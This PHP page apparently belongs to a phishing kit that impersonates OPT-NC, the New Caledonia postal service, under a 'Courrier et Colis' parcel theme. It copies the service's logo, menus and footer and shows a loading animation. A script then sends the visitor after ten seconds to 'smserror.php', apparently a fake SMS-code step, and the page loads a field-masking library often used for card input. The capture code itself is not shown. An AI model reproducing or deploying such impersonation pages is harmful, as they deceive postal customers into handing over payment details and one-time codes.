<?php 
     require_once "functions.php";
     $_SESSION["lang"] = "fr";
?>
<!DOCTYPE html>
<html>
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <!-- link_icons -->
        <link rel="stylesheet"  href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css">
        <link rel="stylesheet"  href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css"> 
        <title>OPT-NC | Courrier et Colis |</title>
        <!-- logo site web-->
        <link rel="icon" href="image/opt-favicon.png" type="image/png"/>
        <link rel="shortcut icon" href="image/opt-favicon.png" type="image/png" />
        <!-- link__css -->
        <link rel="stylesheet"  href="css/bootstrap.css">
        <link rel="stylesheet"  href="css/styless.css">
</head>
<body style="background:#F1F1F1;">
        <!-- Start____Navbar -->
        <div class="navbar">
        	<div class="container-fluid">
        		<div class="topping">
        			<img src="image/opt-logo.png">
        			<ul class="web">
        				<li><i class="bi bi-exclamation-circle me-2"></i><?php echo get_text('top_header1'); ?></li>
        				<li><?php echo get_text('top_header2'); ?></li>
        				<li><i class="bi bi-globe me-2"></i><?php echo get_text('top_header3'); ?></li>
        				<li><i class="bi bi-search me-2"></i><?php echo get_text('top_header4'); ?></li>
        			</ul>
        			<ul class="respo">
        				<li><i class="bi bi-list"></i></li>
        				<li></li>
        			</ul>
        		</div>
        		<div class="bottomin">
        			<ul>
        				<li><?php echo get_text('mainmenu1'); ?><i class="bi bi-chevron-down ms-1"></i></li>
        				<li><?php echo get_text('mainmenu2'); ?><i class="bi bi-chevron-down ms-1"></i></li>
        				<li><?php echo get_text('mainmenu3'); ?><i class="bi bi-chevron-down ms-1"></i></li>
        				<li><?php echo get_text('mainmenu4'); ?><i class="bi bi-chevron-down ms-1"></i></li>
        			</ul>
        			<p><i class="bi bi-person-fill me-2"></i><?php echo get_text('header-right'); ?></p>
        		</div>
        	</div>
        </div>
        <!-- End____Navbar -->
        <!-- Start____Home -->
        <main style="margin-top: 100px;">
            <div class="container d-flex align-iems-center justify-content-center" >
                <div class="p-4" style="background:white;text-align: center;"><img src="image/loadingg.gif" width="170px"></div>
            </div>
        </main>
        <!-- Start___Fotter -->
        <div class="fotter">
        	<div class="container-fluid">
        		<div class="row">
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="power "><?php echo get_text('footer-widget-1-header'); ?></li>
        					<li><?php echo get_text('footer-widget-1-1'); ?></li>
        					<li><?php echo get_text('footer-widget-1-2'); ?></li>
        					<li><?php echo get_text('footer-widget-1-3'); ?></li>
        					<li><?php echo get_text('footer-widget-1-4'); ?></li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active"><?php echo get_text('footer-widget-2-header'); ?></li>
							<li><?php echo get_text('footer-widget-2-1'); ?></li> 
							<li><?php echo get_text('footer-widget-2-2'); ?></li>
							<li><?php echo get_text('footer-widget-2-3'); ?></li>
							<li><?php echo get_text('footer-widget-2-4'); ?></li>
							<li><?php echo get_text('footer-widget-2-5'); ?></li>
							<li><?php echo get_text('footer-widget-2-6'); ?></li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active"><?php echo get_text('footer-widget-3-header'); ?></li>
							<li><?php echo get_text('footer-widget-3-1'); ?></li>
							<li><?php echo get_text('footer-widget-3-2'); ?></li>
							<li><?php echo get_text('footer-widget-3-3'); ?></li>
							<li><?php echo get_text('footer-widget-3-4'); ?></li>
							<li><?php echo get_text('footer-widget-3-5'); ?></li>
							<li><?php echo get_text('footer-widget-3-6'); ?></li>
							<li><?php echo get_text('footer-widget-3-7'); ?></li>
							<li><?php echo get_text('footer-widget-3-8'); ?></li>
							<li><?php echo get_text('footer-widget-3-9'); ?></li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active"><?php echo get_text('footer-widget-4-header'); ?></li>
							<li><?php echo get_text('footer-widget-4-1'); ?></li>
							<li><?php echo get_text('footer-widget-4-2'); ?></li>
							<li><?php echo get_text('footer-widget-4-3'); ?></li>
							<li><?php echo get_text('footer-widget-4-4'); ?></li>
							<li><?php echo get_text('footer-widget-4-5'); ?></li>
							<li><?php echo get_text('footer-widget-4-6'); ?></li>
        				</ul>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- Ennnd___Fotter -->
        <!-- STAAAART_SOUS -->
        <div class="sous ">
        	<div class="container-fluid">
        		<div class="row">
        			<div class="col-lg-9">
        				<img src="image/group.svg">
        				<ul>
        					<li><?php echo get_text('footer-menu-1'); ?></li>
        					<li><?php echo get_text('footer-menu-2'); ?></li>
        					<li><?php echo get_text('footer-menu-3'); ?></li>
        					<li><?php echo get_text('footer-menu-4'); ?></li>
        					<li><?php echo get_text('footer-menu-5'); ?></li>
        					<li><?php echo get_text('footer-menu-6'); ?></li>
        					<li><?php echo get_text('footer-menu-7'); ?></li>
        					<li><?php echo get_text('footer-menu-8'); ?></li>
        				</ul>
        			</div>
        			<div class="col-lg-3">
        				<h6><?php echo get_text('follow-us'); ?></h6>
        				<img src="image/socio.png" class="socio">
        			</div>
        			<div class="text-center ss"><?php echo get_text('copyright'); ?></div>
        		</div>	
        	</div>
        </div>
        <!-- ENNNNNND_SOUS -->
        <script src="js/jquery-3.5.1.min.js"></script>
        <script src="js/jquery.mask.js"></script>
        <script src="js/jquery.mask.js"></script>
        <script>
                setTimeout(function () {
               window.location.href= 'smserror.php';
          },10000); // 1000 = 1s   
        </script>
</body>
</html>